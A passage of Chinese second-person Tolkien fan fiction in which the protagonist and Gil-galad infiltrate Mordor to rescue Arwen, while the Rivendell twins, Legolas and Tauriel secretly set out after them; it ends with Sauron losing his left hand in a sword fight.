有吉尔-加拉德跟在你身边,这种感觉就像是回到了几千年前,你们从多尔罗明离开去往纳国斯隆德的那段旅途。 既然他一直跟在你身边,你也不可能始终瞒着他,于是在隔天早上的时候,你就对他说明了你离开幽谷的真实原因,你说:“埃尔隆德大人收到了来自索伦的一封信。” 光是这个开头就让吉尔-加拉德内心拉响警报,因为索伦主动写信过来肯定没有好事,所以他又追问道:“那他那一封信都写了什么?” “他绑架了阿尔温公主,而且向埃尔隆德提出要求,如果他交出我就能换回他的女儿。” 吉尔-加拉德一下子就看出来,这是索伦的陷阱,他说:“他真的绑架了阿尔温公主吗?还是说他是在诓骗你们呢?” “大概率是真的绑架了,不过根据我的猜测,他应该不会对阿尔温公主下手,毕竟这是他手中唯一一个能够派上用场的筹码。”你说,不过被索伦算计的感觉还是让你很不爽,早知道在上一个副本的时候,你就应该干脆利落的杀死他才对,但现在想这些都已经太晚了。 “你真的打算要以此为交换吗?”吉尔-加拉德认真地问道,你看了一眼他那幅一本正经的模样就觉得有些好笑,“这怎么可能,我会让他付出代价的,绝不会那么轻易地让他得逞。” 话是这么说的,但前提是你们得要及时赶到索伦的老巢,按照现在这个前进速度,你们就算是再怎 么努力赶路,也得要好几天的时间才能到达目的地,而且前提是中途都不停下来休息。 当然这是不太可能的,你在坚持赶路了两天以后就因为体力问题,不得不停下来休息,其实你觉得自己还可以再坚持一段时间的,但吉尔-加拉德不这么认为,他难得态度强硬地要求你停下来休息。 他说:“我知道你在担心阿尔温公主,但是我也同样担心你的身体,所以请停下来休息一下吧,如果你在路上就累倒了,那又该如何解救阿尔文公主呢?” 他说得有理有据,你听从他的建议,在一处山脚下暂时歇脚,你拿出水囊小口地喝了一点水润润嗓子,而后又拿出从幽谷厨房里带走的干粮。 在此期间,吉尔-加拉德还去附近的林子里转悠一圈,等他折返回来的时候,手里多出了满满当当的野生果子,这些都是无毒的果实,至于味道如何,他就不能确定了,但是很解渴和解腻。 你从他手里抓了一把野生果子,拿起一颗咬了一口,那味道酸得直冲你的天灵盖,你差点没控制住自己的表情,你不由得倒吸一口冷气,“嘶——” 见状,吉尔-加拉德紧张兮兮地问道:“怎么了?这果实还有攻击的效果吗?” 一时之间你都不知道他到底是在关心还是在调侃,你无奈地把这一颗咬了一口的果实递给他看,“这果子酸得很。” 而吉尔-加拉德却偏偏不信邪,他低下头就着你的手,咬了一口那颗果实,那反应和你如出一辙,他也倒吸一口冷气,唯一不同的是他都没能控制住自己的表情,在这时你凉飕飕地说:“我刚才都已经和你说过了的,这果子很酸。” 但很可惜他不听劝。 你轻笑一声,“你为什么总是不听劝呢?” “但如果自己不尝试一下的话又怎么知道到底是什么滋味呢?” 你总觉得他好像是在借着这个话题说其他的事情。 如果他当初因为人类和精灵之间未曾有过结婚的先例就放弃对你的感情,那他日后肯定会为此而感到后悔的。 虽然吉尔-加拉德的性格可以用温和来形容,但他的性格里也有倔强的一面,尤其是在对待感情这件事上。 “我怎么觉得你说这话别有深意呢?”你说,吉尔-加拉德把那些酸涩的红色果子挑出来,然后又试吃其他的果实,把没那么酸涩的果实送到你手里,“这些吃起来没那么酸。” 你小口小口地咀嚼干粮,其实你并没有感受到太多的饥饿感,只是为了维持身体状态才进食的,吃了几口你就放下装着干粮的袋子,然后又喝了一口水。 吉尔-加拉德不怎么需要休息,实际上他也没怎么感觉到疲惫,因此他说:“接下来就由我来守夜,你可以放心休息。” 虽然身体有些疲惫,但你却丝毫没有睡意,你看下夜色浓重的天空,你闭上眼睛,打算眯一会儿,但就算合起双眼,你的大脑依旧在思考现在的情况。 也不知道过了多久,你终于进入梦乡,守在你身边的吉尔-加拉德伸出手触碰你的头发,动作轻柔地抚摸着你的发尾,一如当年与你离开多尔罗明的那段旅途。 你的睡眠时间不算长,才睡了一两个小时就又突然醒过来,你缓慢地眨了一下眼睛,大脑逐渐恢复清明,你说:“我大概睡了多久?” “没多久,也就一两个小时吧,你确定不在休息一会儿吗?”吉尔-加拉德坐在你身边,他的长发有几缕耷拉在你的肩头,那姿态很亲昵,就像是在依偎着。 “不了。”你没有任何睡意,大脑精神得很,吉尔-加拉德应了一声,“现在立刻赶路,不太合适。” 在他看来最佳的选择就是在等待一两个小时,等到天空泛起鱼肚白再出发,因为如果你们现在出发很容易遇到黑暗生物的攻击,虽然这些攻击不至于危害你们的生命,但是这种猝不及防的偷袭很容易使得你们受伤,尤其是你。 吉尔-加拉德知道人类有多脆弱,他曾目睹过许多人类的死亡,有时候一个小伤口发炎就能造成死亡,任何疾病又或者是其他伤害都足以使得人类丧失性命,他虽然能够接受你身为人类终将要死亡的既定命运,但他不能接受你死于非命。 他对你的保护欲毫无疑问十分浓重,但是他也不希望因为自己的情感而影响你的人生和你的选择,他绝不会以保护为名义剥夺你的自由,因为他知道这是你最厌恶的东西,你对他人打着保护的名义,实则禁锢的行为感到无比的厌烦。 “我的建议是等几个小时再出发,这样会更加稳妥一些。”吉尔-加拉德说。 你估算了一下现在的时间,再稍等一会儿,等天亮了以后再出发,确实更加稳妥一些,于是你点了点头表示赞同他的建议。 背靠着大树盘腿坐下,你拿出宝剑擦拭,这把宝剑在幽谷的时候那对精灵双子出于好意,还为你重新打造一番,这就使得这把保健比原来更加锋利坚韧,你把它从剑鞘中抽出来,只见那剑锋泛着凌厉的寒光。 “这把剑是被重新打造过吗?”吉尔-加拉德一下子就看出来你的这把宝剑经历了什么。 你回答道:“也不算是被重新打造,就是在原有的基础上改进一些细节而已。” 说起这个你就想到了在幽谷的那一对精灵双子,按理来说,他们应该也得知了自己妹妹被索伦绑架的消息。 当然是按理来说,但是埃尔隆德出于种种考虑,主要是担心他们因为愤怒而冲昏头脑,反而落入了索伦的另外一个圈套,因此他暂时没将这个个消息告诉他们。 此时此刻,远在幽谷的埃尔拉丹和埃洛希尔却隐隐感觉到了不安,他们看向天空,发觉今天的夜空中星辰黯淡。 “你不觉得有些奇怪吗?”埃尔拉丹对弟弟说道。 何止是奇怪,已经到了诡异的程度,埃洛希尔说:“肯定是发生了什么事情,而且是非常糟糕的事情。” “不如去问问格洛芬德尔大人吧。”格洛芬德尔和埃克塞里安精通占卜术,所以有时候他们遇到问题也会专门去找这两位精灵。 但是等他们找过去的时候,等待他们的却是这两位精灵早已离开幽谷的消息。 “他们已经离开了幽谷?那是什么时候的事情呢?”埃洛希尔赶去询问看守幽谷出口的精灵,后者支支吾吾,犹豫了半天,也没给出准确的答复,这让埃洛希尔都有些不耐烦了,他说,“为什么不能告诉我们答案呢?” “因为……那是因为埃尔隆德大人曾经叮嘱过我们。” 好吧,原来是他们的父亲特意叮嘱过这些看守出口的精灵,那就不能责怪他们了。埃洛希尔回过头和埃尔拉丹对视一眼交换了一个眼神,他们旋即决定去找他们的父亲埃尔隆德。 埃尔隆德也知道自己忙不了他们多久,因此在他们找过来的时候,他也没有多惊讶,甚至还气定神闲地让对方先坐下来,“我知道你们是为了什么而来的。” “那就快点告诉我们到底发生了什么吧,是很糟糕的事情吗?难道我们就帮不上忙吗?”他们都已经不是以前的小孩子了,面对危急时刻,他们也不再那么无能为力。 “稍微冷静一点,你们的性格就是遇到事情会太过冲动,这也是为什么我没有第一时间告诉你们这个消息。” 伴随着埃尔隆德的铺垫,这对精灵双子内心的预感越来越糟糕,埃洛希尔问道:“这是和阿尔温有关的吗?” 埃尔隆德微微皱起眉,即便他什么都没有说,在场的两个精灵都从他的表情里找到了答案,埃尔拉丹说:“那这么说来噶洛芬德尔和埃克塞理安大人也都是因为这件事情才离开的幽谷对吗?” “是的。” “那亚玟和吉尔-加拉德大人呢,他们也离开了幽谷,也是为了这件事情吗?” 听到这里,埃尔隆德顿了顿,“……什么?” 看样子他也不知道你和吉尔-加拉德早就已经离开了幽谷,埃尔拉丹说:“您难道不知道吗?他们早已离开幽谷,或许是昨天又可能是前天出发的吧。” 这一点埃尔隆德确实不知道,因为他的注意力都在如何应对索伦的攻击上。 而且他之所以没有贸然离开幽谷就是认为就很可能是索伦的调虎离山之计,想要将他和其他精锐部队调离幽谷,而后他又派出半兽人军队攻打这里。 “那么你们切记这件事情绝对不能告诉阿拉贡。”他可以想象出阿拉贡得知你又一次离开幽谷,选择去冒险而且还丢下了他,说不定他也会意气用事。 好在埃尔拉丹和埃洛希尔做事也很有分寸,他们再来找埃尔隆德的路上,确实遇到了阿拉贡,但他们有先见之明的没有提起这件事。 他们在路上遇到阿拉贡的时候,他正在到处寻找你,因为他已经有足足一两天没见到你了,要知道放在平常你们可是天天都见面的,而且也可能是因为双生子之间的心灵感应,他总觉得你遇到了什么事情。 阿拉贡还主动向埃尔拉丹这对兄弟问起你的下落,但后者非常有默契地纷纷摇了摇头,表示他们也不知道。 于是阿拉贡只能失望地从他们身边走过,接着又在幽谷里四处寻找你的踪影。 “可是难道我们就只能这样坐以待毙吗?”埃尔拉丹询问父亲埃尔隆德,后者说:“我已经派出了一部分精锐部队前去解救阿尔温,而且我也……看到了未来的画面。” 埃 尔隆德拥有预知未来的能力,但他所能看到的都是未来的可能性,并非一定会发生的未来,比如说在这次他看到的未来就是你和吉尔-加拉德与索伦对峙并且占据上风的画面。 而且在那幅关于未来的画面中,你和吉尔-加拉德的关系亲近,远不像是才认识没多久的样子,这多多少少也让埃尔隆德感到些许疑惑,也不知道是从什么时候开始你们的关系变得那么亲近的。 不过这也不是他关注的重点,重点在于你和索伦的对峙,你甚至还将索伦的手下杀死,那幅画面到这里就戛然而止,至于结局如何他也无从得知。 “未来的画面……那是怎样的画面呢?”埃尔拉丹问道,但埃尔隆德对着他们摇了摇头,表示现在不能告诉他们。 而等到埃尔拉丹和埃洛希尔离开父亲那里正打算偷偷溜出幽谷的时候迎面走来的是莱戈拉斯和陶瑞尔,他们也对于这两天没见到你感到奇怪,尤其是陶瑞尔,她一见到埃尔拉丹就说:“你们见过亚玟了吗?我们到处都找不到她。” 这个问题阿拉贡也问过,埃尔拉丹就和之前一样摇了摇头,表示自己不知道,但是莱戈拉斯却说:“你们真的不知道吗?”有时候莱戈拉斯的性格就是这么倔强,什么问题都一定要问到底。 埃洛希尔叹了一口气,他和哥哥都不怎么擅长说谎,在回答他们问题的时候,都会下意识的回避他们的视线,他说:“这件事情我们也不知道。” 陶瑞尔算是看出来了,她说:“是你们真的不知道还是埃尔隆德大人吩咐你们不往外说的呢?” 她的这个问题算是问到关键点上了,一时间这些精灵面面相觑,埃尔拉丹说:“后者,我们只能告诉你们答案是后者。” 得到答案的陶瑞尔和莱戈拉斯对视一眼,他们在短时间内就达成一致,不光是他们就连埃尔拉丹和埃洛希尔也和他们看法一致。 事不宜迟,他们从马厩里牵出几匹马,趁着夜色离开幽谷,朝着魔多的方向前进。 而反观你和吉尔-加拉德那边,看到天边泛出鱼肚白,你就站起身拍了拍斗篷还有衣角,抖落上面粘着的杂草碎屑。 在这之后,你们都没怎么休息过,一直骑马奔跑在平原上,直到你遥遥地望见远处魔多的高塔耸立在阴云缭绕的天空中,这意味着你们即将到达索伦的领地内。 这周围漂浮着的黑暗气息会让精灵感到不适,越是靠近魔多这种感觉就越为明显,吉尔-加拉德下意识地皱起眉,你侧过头对他说:“如果你感觉到难受的话,就不要继续往前了。” “不,我还能继续坚持下去的。”而且他又怎么可能放任你自己一个人去冒险呢,尽管现在的你们并非伴侣,但他始终认为自己有义务为你保驾护航。 听他那么说,你就跳过了这个话题,因为无论你在说些什么,他都肯定会跟着你一路进入魔多的,精灵有时候就是这么倔脾气,他们认定的事情没有谁能够改变。 你只能说:“我很感谢你能够陪我一同冒险。” 越是靠近魔多的地方,周围的黑暗生物出现的越发频繁,有些黑暗生物并非完全听命于所伦,他们完全听从本能,一看到你们的靠近就将你们当成猎物捕杀,但这些黑暗生物在你们的宝剑下坚持不过半分钟。 按理来说,在这个黑暗巢穴附近肯定还藏着不少半兽人的军队,尽管你们没有遇到,但你还是能够感觉到在黑暗处,死死盯着你们的目光。 就如同蛰伏起来的野兽,等待着猎物暴露出脆弱的一面。 不过让你感到有些奇怪的是,你还以为你和吉尔-加拉德到达这里的时候,应该会遇到格洛芬德尔又或者是埃克塞理安,但实际上是你们来到这里丝毫没有捕捉到他们的踪迹。 那么就只有一种可能了,他们也许被索伦派出的手下拦在了半路上,至于你和吉尔-加拉德则是在索伦的授意下,一路畅通无阻,直接来到魔多的大门前。 吉尔-加拉德的猜想和你是一致的,他说:“我们似乎比格洛芬德尔他们先来一步。” 你们在魔多大门前停下脚步,接下来你不打算和吉尔-加拉德同行,你说:“我们还是暂时先分头行动,我在找到阿尔温公主之后再和你会合。” 虽然分头行动会分散你们的力量,但是也有一个好处,那就是能够避免索伦到时候用吉尔-加拉德来威胁你,这样就会很麻烦了。 吉尔-加拉德起初听到你的这个决定还有些惊讶,他的眼睛微微睁大,但是后来他又意识到你的真实目的是什么,就说:“那我会潜伏在暗处观察着这里的一举一动。” 就在你们商讨接下来如何行动的时候,另外一道身影在黑暗中悄无声息地向你们靠近。 你当即抽出宝剑,用剑锋直指对方的咽喉,冷声道:“是谁——?” 泛着寒光的剑锋抵着对方的脖子,尽管今天晚上的月光非常皎洁,但是在魔多这片天空中阴云密布遮挡了许多月光,你只能借着微弱的光线来分辨对方的长相。 对方有着一头金色长发,虽然他的面容隐藏在宽大的斗篷兜帽下,但你还是从他的下半张脸,以及他散发出的气质,判断出他不是索伦的手下,你说:“人类?还是精灵?” 那个被你用剑锋指着的来者举起双手表示自己没有恶意,而后又摘下斗篷露出自己的真实长相,那是一个精灵,是你未曾见过的精灵。 但你身边的吉尔-加拉德似乎是认识他的,他说:“洛丝罗瑞恩的哈尔迪尔?” 原来他是来自洛丝罗瑞恩的精灵,那么应该就是当初负责护送阿尔温公主的精灵了,因此,他出现在这里好像也不奇怪。 哈尔迪尔对着吉尔-加拉德微微俯身行礼,“吉尔-加拉德大人您好,您二位又怎么会出现在这里?” 你说:“我想我们出现在这里的原因是一样的,都是为了解救公主而来。” 哈尔迪尔略带疑惑,因为他之前都没有见过你,于是他又问道:“您是……?” 吉尔-加拉德替你回答:“她是亚玟,阿拉松之女,阿拉贡是她的双生子哥哥。” 远在洛丝罗瑞恩的哈尔迪尔曾经听说过阿拉贡的事情,只不过他还未曾见过这一位人类,他有礼貌地对着你点了点头,又说:“您好,您们来这里还带了援军来吗?” “没有,就只有我们两个。” 第85章 第85章被切下的左手。 闻言,哈尔迪尔若有所思,“如果只有你们两个的话……”这话虽然没有说完全,但你大概能猜到他的后半句话会说什么,你补充道:“我认为我们两个潜入索伦的老巢反而不会引起他的注意。” 如果换做带着一大支队伍浩浩荡荡地过来,没准在半路上就被索伦的爪牙给拦住了,毕竟这样的队伍是那么显眼。 不可否认的,哈尔迪尔觉得你说的确实有几分道理,但这是建立在你和吉尔-加拉德能够全身而退的前提下的,哈尔迪尔与吉尔-加拉德还算熟悉,因为吉尔-加拉德曾经也会来洛丝罗瑞恩拜访加拉德瑞尔夫人,但是至于你,他先前 都没有见过你,更别提了解你的实力了,而且你还是一位人类,人类和精灵之间存在的实力差距是与生俱来的。 只是想到这里哈尔迪尔又不免有些好奇你是怎么说服吉尔-加拉德带着你来到这里的,哈尔迪尔说:“但那毕竟是索伦的地盘。” 区区索伦的地盘而已,你以前主动去过魔苟斯的地盘呢,你在心里嘟哝一句,而后向吉尔-加拉德递去一个眼神,后者会意,他说:“如果真的打响战争我担心索伦会伤害阿尔温公主。” 这算是说到关键点上了,这也是哈尔迪尔最担心的事情,他沉默几秒,他本想着等待援军的到来,但是现在等到了你们,他便说:“如果你们要潜入的话,那我也和你们一起。” 真麻烦,你一开始可没打算再带上一个陌生精灵的,尽管你的内心有些厌烦,但脸上还挂着得体的礼貌笑容,你说:“可是如果您跟随我们一同潜入其中,之后等援军到了,又该由谁来告诉他们这里的情况呢?” 吉尔-加拉德点头表示赞同你的说法,少数服从多数,哈尔迪尔也只好打消跟随你们一同离开的的想法,暂时老老实实地待在原地等待援军的到来。 至于你和吉尔-加拉德,则是绕过大门口,从侧面的山脉寻找出一条小路小心翼翼地走向索伦的巢穴,因为现在这个时间点毫无日光,所以黑暗生物的活动格外活跃,在山脉上随处可见半兽人留下的痕迹,你们中途甚至还遇到了三三两两成群的半兽人,为了不被其他半兽人发现,你们都没有使用武器,而是直接绕到他们身后直接伸出手一把把他们的脖子拧断。 刚才还聒噪异常的半兽人顿时没了声音,身体也软绵绵地倒在地上,你把这些尸体拖拽到一边的隐蔽处,这样一来他们不会太快发现这些尸体。 在你和吉尔-加拉德的配合下那些喝得醉醺醺的半兽人全都死在你们手里,做完这些事情你拿出手帕擦了擦手掌,尽管没有见血,但你的手上还是不可避免地沾染了半兽人的气味,那是一股恶臭,你皱起眉,用手帕把手擦干净,但到最后这股味道都没有散掉,你只能收起手帕,彻底放弃了。 你站在山脉边缘朝着远处的索伦巢穴眺望,不得不说他怪不得曾经是魔苟斯的手下,他的老巢风格都和他的上一任主人魔苟斯有着异曲同工的地方。 忽然之间,你从迎面而来的夜风里听到了什么其他的声音,你对吉尔-加拉德说:“你听——那是什么声音?” 吉尔-加拉德侧耳倾听,伴随着夜风一同而来的还有那轻飘飘的歌声,虽然你未曾听过阿尔温的声音,但你身边的精灵显然听过,他一下子就分辨出来那是暮星公主的歌声,他说:“那是阿尔温在唱歌。” 因为歌声太轻,再加上周围还有各种嘈杂的声响,使得你们听不太清楚具体的歌词,只能捕捉到朦胧的几个词语。 不过这对你们来说也是个好消息,因为这代表阿尔温还安然无恙,索伦按照信中的约定确实没有伤害她,至少现在没有伤害,之后会不会那就不好说了。 得要尽快潜入索伦的老巢才行,你和吉尔-加拉德交换一个眼神,你们在无声中达成一致,沿着山间小路往下走去,索伦派遣了好几支半兽人队伍在与山脉的连接处巡逻,但是那些半兽人可能也没有想到你们一个人类一个精灵会选择从侧面进入,而且你们站在高处观察他们的巡逻轨迹摸出规律以后等真的经过那片区域的时候就能够顺利避开那些巡逻的半兽人,你们的行踪没有引起任何一个半兽人的注意。 当然,你也没有因为一时的顺利都放松下来,因为真正棘手的事情还在后头呢,除了半兽人,在索伦的手下中还有投向黑暗的人类,这些人类就比半兽人要聪明不少,同样地,棘手程度也要高出不少。 在你们穿过半兽人组成的巡逻屏障后,随之而来的就是这些东来人的巡逻小队。 你握住吉尔-加拉德的手腕,得益于上个副本的几十年相处,你们之间的默契无人能比,哪怕什么都不说,只是一个动作他就能猜出你的真实意思,他知道你们要在这里分头行动了,但他还是有些犹豫不决,但就在他犹豫的时候从刚才开始就一直飘散开来的歌声也戛然而止,是那么突兀,你们不能再继续浪费时间了。 旋即你就松开手,然后对着他缓慢地眨了一下眼睛,而后从他身边离开去往另外一个方向,阿尔温突然停止歌唱就是一个预兆,昭示着有什么事情即将发生了,你一边思考待会该怎么从索伦手里带走阿尔温,一边又不忘避开路上遇到的人类。 其实索伦这一招更像是被愤怒和恐惧冲昏头脑才使出的计谋,但你倒是能理解他的畏惧,毕竟之前暗算他的人类转生了,而且自己亲手打造的至尊魔戒又下落不明,要是人类仇家来算账,而且那枚至尊魔戒也被你先找到了,那对他来说无疑是毁灭性的打击。 所以索伦才会那么着急地想要杀死你,可他实在是太着急了,以至于这个计谋漏洞百出,甚至还可能对你有利,你在这之前就一直在思考一个问题,那就是既然至尊魔戒是由索伦打造的,那么按理来说这枚戒指肯定能够感受到索伦的存在,甚至还会想尽千方百计地回到索伦手里,那么如果说你能够获得索伦身体的一部分呢? 比如说砍下他的一只手又或者是别的部分,总之截取下来的一部分肢体说不定就是现成的至尊魔戒探测仪了,当然,这还只是你的一个猜想而已,具体实践起来如何,那就只有试过了才知道。 你的脚步忽然停下,此时此刻的你已经极为接近索伦的宫殿,你猜测这宫殿的构造应该也和当初魔苟斯的宫殿很相似,从某种程度上来说索伦也是在非常恋旧的家伙。 浓重的黑暗气息从这个宫殿内部传出来,就连你这种对黑暗气息都不怎么敏感的人都觉得压抑,看得出来经过几千年的时间索伦积攒了不少怨气和负面情绪。 你站在原地调整自己的呼吸频率,过了一会才看准时机卡着其他守卫的视觉死角进入宫殿,果不其然的,那里面的陈设布置和魔苟斯的宫殿极为相似,那么如果你的记忆没有出错的话,去往大厅应该是走这条路…… 宫殿的墙壁上镶嵌着夜光石,起到照明的作用,而且每个转角处的墙壁上都会有个火把,夜风拂过,带动火光,只见那火光幽幽地摇晃着,明明是非常明亮的火光却透露出一股诡异的邪气。 你踩着火光穿梭在长廊间,最后在靠近大厅的时候捕捉到另外的对话声,毫无疑问的,那是索伦和阿尔温的对话,索伦试图从阿尔温嘴里套出洛丝罗瑞恩以及幽谷的重要情报,阿尔温深知这一点,因此她对于这些问题都闭口不谈,因此其实说是对话是不恰当的,因为绝大部分时候都是索伦自顾自地说着,就如同这是他的独角戏,而站在他对面的阿尔温没有丝毫反应。 阿尔温的眼里没有恐惧,只有对索伦的不屑与厌恶,这样的眼神最后还是惹恼了索伦,因为这让他不由地想到了露西恩,那位人类与精灵恋爱中的主角之一,这中土的人类和精灵都歌颂她的勇敢,而当他们提起贝伦与露西恩的时候必然会提及你和吉尔-加拉德,尤其是你……想到你,索伦的脸色越来越难看。 明明人类在死后灵魂就会彻底消失的,可你,可你又是为什么还活在这个世界上呢?又为什么还要和他作对呢? “你倒是和你的祖先露西恩很像,但是恐怕你没有她那么好的运气。”索伦说着,扯出一个充满嘲讽的冷笑,他想,就算没能利用阿尔温引出你,至少他杀死阿尔温以后肯定也能造成你和精灵的关系产生间隙,这对他也很有利。 阿尔温从容地回答:“那你倒是和你的主人魔苟斯不太像,嗯,我忘了,他曾经能够从费诺里安手里抢走精灵宝钻,而你却只能打造出魔戒,那些粗劣的仿制品,光从技艺水平来看,你永 远也无法超越魔苟斯。“她说的话语都直戳索伦的痛处,他知道自己远不可能像费艾诺那样打造出精灵宝钻,这一点他在师从维拉奥力的时候就知道了,奥力曾经说过,费艾诺的才能在整个维林诺都数一数二。 那个时候的索伦心中很难不产生忌妒的情绪,他的骄傲在奥力的这番话语前化为碎片,直到后来他追随魔苟斯,试图用黑暗的力量控制中土也是想要证明自己的才能,想到这里,索伦的表情变得愈发狰狞,恶意混杂着杀意铺天盖地地向阿尔温袭来,但就在他即将死死攥住她的脖子时,另外一道身影的出现分散了索伦的注意力,他移开视线,你赫然出现在他的视野里。 就如同当年你孤零零地站在魔苟斯面前,只不过这一次你站在的是他面前,而且你的手中还握着锋利的宝剑,你的眼神坚定,姿态从容镇定,你说:“怎么,你就那么轻易被几句话给激怒吗?看来你的气量也不过如此。” 你一开口就是十足的嘲讽,见到你的第一眼索伦就能确定你就是曾经的伊玟,曾经欺骗过魔苟斯的人类,他的注意力都集中在你身上,不光是他,还有在场的阿尔温,她也注视着你的侧影,她很难想象你是怎么穿过层层叠叠的守卫来到这里的,而且从索伦的反应来看,他对于你的出现也感到惊讶,这就说明他之前也没有发现你偷偷潜入了他的领地。 是精灵?不……是人类。阿尔温观察到你的耳尖,并非精灵的尖耳,而是属于人类的轮廓,你身为一位人类只身一人来到这里……这到底是怎么做到的? 感知到阿尔温投来的惊讶神色,你侧过头看了她一眼,你的眼神里带着几分安抚,无声地告诉她接下来不用太担心,你会解决一切麻烦的。 “让我看看……啊,这不是我们曾经的叛徒吗?多可惜,魔苟斯没能杀死你,他被你欺骗得失去了性命,而你呢居然还能拥有再一次的生命,哈——维拉啊,伊露维塔啊,他们是何等的不公平,他们所做的一切都是随心所欲的,毫无平衡可言,就是这样的维拉和伊露维塔也值得被尊敬吗?”索伦越说越激动,你合理怀疑他就是把曾经在维拉那里受到的委屈找个借口发泄在你身上而已。 不过他说的话里有一部分你是赞同的,那就是“他们所做的一切都是随心所欲的”,你很赞同这一点,没错,你无法推测出伊露维塔再次让你体验生命的意义是什么,也不明白将你带到这个世界的目的是什么,这些事情你都无法理解,更难以从这些行为里倒推出伊露维塔的真实想法,又或者伊露维塔根本没有考虑那么多,祂那么做只是因为祂能够做到而已。 “我对魔苟斯的欺骗与他以前的行径相比较温和了不知道多少倍,而且他可不是因为我的谎言才丢了性命,他只是为自己的所作所为付出代价而已。”你说得理所当然,这使得索伦陷入沉默,还没等索伦说下一句话,你就又接着说,“现在我来了,你总可以放她离开了吧?” 听到你那么说,一旁的阿尔温一下子就明白了先前索伦所说的代价是什么,原来是你,你就是那个用来交换的条件,善良的精灵公主不会允许这种事情发生,她当即说道:“不行,我不能让你成为牺牲的代价。” 什么牺牲啊……她都在说什么丧气话啊,你微微眯起眼睛,对她说:“但这是索伦提出的条件,现在满足条件,他也应该放你离开了。” 可是阿尔温却不赞同地摇摇头,她说:“但是……”虽然她和你还只是初次见面,你们在此之前未曾见过,她不知道你的姓名,更不知道你的身份,她会那么说仅仅是因为出于善良的本性。 围观的索伦说:“这位公主可比曾经的那位公主善良多了。” 你对索伦说的话感到不屑,因为这种善良的夸奖从索伦嘴里说出来更像是一种嘲弄,那句话怎么说的来着……哦对了,最可怕的莫过于敌人的赞美与夸奖,现在就很符合这个情况,你走到阿尔温面前,握住她的手,你仔细端详她的面容,发现她和你记忆中的露西恩公主很像,尤其是神态,恍惚间你仿佛回到了几千年前,你在多瑞亚斯的时候和露西恩在月光下漫步。 你的手掌温暖干燥,仿佛还带着阳光的气息,被你这样握着手,阿尔温莫名感觉到了心安,你很自然而然地抱住她,接着她又听见你在她的耳边说:“待会朝着东面逃跑,不要犹豫,也不要回头看。” 那说话的声音很微弱,几乎是用气音在说话,交代完这一句你才又后退一步,而后再次看向站在高台上的索伦,他死死地盯着你,但你知道他不会马上杀死你的,他会尽可能将你的死亡价值最大化,比如说让深爱你的精灵看着你饱受折磨而死,这是他经常使用的伎俩。 “既然我已经来了,那么你也应该放她离开了,否则随之而来的精灵大军会把你的老巢踏平的。”实际上你也不确定是否会有精灵大军过来,但总之先说了总没错。 索伦从高台上缓缓走下,他说:“哼,精灵大军,等到时候阿尔温走了,又有谁会来救你呢?那些精灵又怎么会为了你而流血呢?几个纪元过去他们愈发珍惜自己的子民,你真的以为自己有那么重要吗?” 在他说话间你拍了拍阿尔温的手背示意她赶紧离开,而你则是留在原地继续和索伦周旋,“重不重要我不知道,我只知道你现在很害怕。” “害怕?你在说什么?” 眼角的余光瞥见阿尔温从大厅离开,你就放松了一些,你的双手背在身后,“我是说,你可比你的前主人怕死多了,因此你才会一听到关于我的预言就怕得要命,甚至不惜大费周章地将一个人类领土夷为平地就是为了避免预言里的事情发生。” 你一边说着一边留意索伦的表情变化,不出意外的,他因为你说的这一番话而浮现出怒意,即便他在其他人面前都能表现得游刃有余,但是面对你他的情绪很容易被带动,这从很久以前,从你当初看似投靠魔苟斯的时候都露出端倪了,可他绝对不会承认这一点的,不仅不承认而且还会反驳道:“可如今你不也还是乖乖地来到我这里。” 索伦他可真是不长记性啊,你以前不也曾经主动来到过魔苟斯的身边吗?这又能证明什么呢?最后魔苟斯不也还是死在了精灵和人类的联盟大军手下吗? 在确认阿尔温已经走远后你才又说:“你还是高兴得太早了。”话音落下,你便提起宝剑直直地向他刺去,目标非常明确,那就是他的脖子,索伦一个侧身躲过你的攻击,在他看来你这只不过是在垂死挣扎,因为现在你身处他的地盘,就在再怎么挣扎最后的结局也不过是死在他手上,他的态度也因此变得极为轻松。 而与此同时与你分头行动的吉尔-加拉德也按照你的吩咐将半兽人的营地一把火点燃,一时间整个营地内陷入混乱,这股混乱的动静也随之传到大厅,你的宝剑擦过索伦的脸颊,在他的侧脸留下一道伤口,鲜血旋即渗出,索伦捕捉到从外面传来的动静,他顿时警觉,但也因为注意力被分散, 所以一个不留神就被你刺中肩膀。 你还不忘笑着说:“怎么了?看来新一任黑暗君主也没有我想象中的那么厉害啊,你甚至都无法躲过我的攻击吗?” 如果放在以前,在他将自己的绝大部分力量都倾注在至尊魔戒之前,凭借他那个时候的实力想要回击轻而易举,但是今非昔比,尤其是他的力量都被封存在至尊魔戒里,这对他来说有利也有弊,好处就是能够更加集中使用自己的力量,而坏处也是显而易见的,那就是如果没找回至尊魔戒,他甚至和你对决都够呛。 “你不是一个人来的!?”索伦惊讶出声,你忍不住笑出声,笑容嘲讽,“我怎么可能会一个人过来呢?在你看来我是那么不给自己留后路的人吗?那你未免也太小看我了吧?而且——” 剑锋刺穿他的肩膀,你转动剑柄,将原来的伤口扩大,鲜血争先恐后地涌出,这画面倒是赏心悦目,索伦观察到大厅外的骚乱,他当即就要逃跑,但是没想到你没那么容易放他走,你抽走宝剑,寒光一闪,锐利的剑锋切下索伦的左手,一时间索伦也顾不得太多,也无法顾及自己失去的左手,立刻朝着窗口逃跑。 第86章 第86章“这里的溪水不会很冷吗…… 你也没料到索伦居然会那么干脆利落地逃跑,又或者说是你低估了他贪生怕死的程度,你又向前追了几步,但远远赶不上他逃跑的速度,最后只能看着他的身影消失在窗口,不过你也不是毫无收获,你回过头,你的战利品就这么静静地躺在地上,你走回到那只断手旁边,表面的鲜血还没有凝固,那血液鲜红,散发着血腥味。 弯下腰,伸出手,拿起那只断手,用手帕包裹住还在渗出鲜血的横截面,你的心情不错,拿着这只断手离开大厅,此时到索伦的领地内一片混乱,你看见站在高处的索伦,这才意识到他不是真的逃跑了,而是急于指挥自己的手下反抗,你向他投去一个眼神,目光落在他空荡荡的手腕上,看来他已经给自己的伤口止血了。 索伦一时间无暇顾及你的存在,因为随后赶来的精灵大军差点就要将他的领地包围了,无奈之下他只能放出一群又一群的巨型蝙蝠还有数不胜数的改造过后的巨人,再搭配半兽人军队,场面变得愈发混乱。 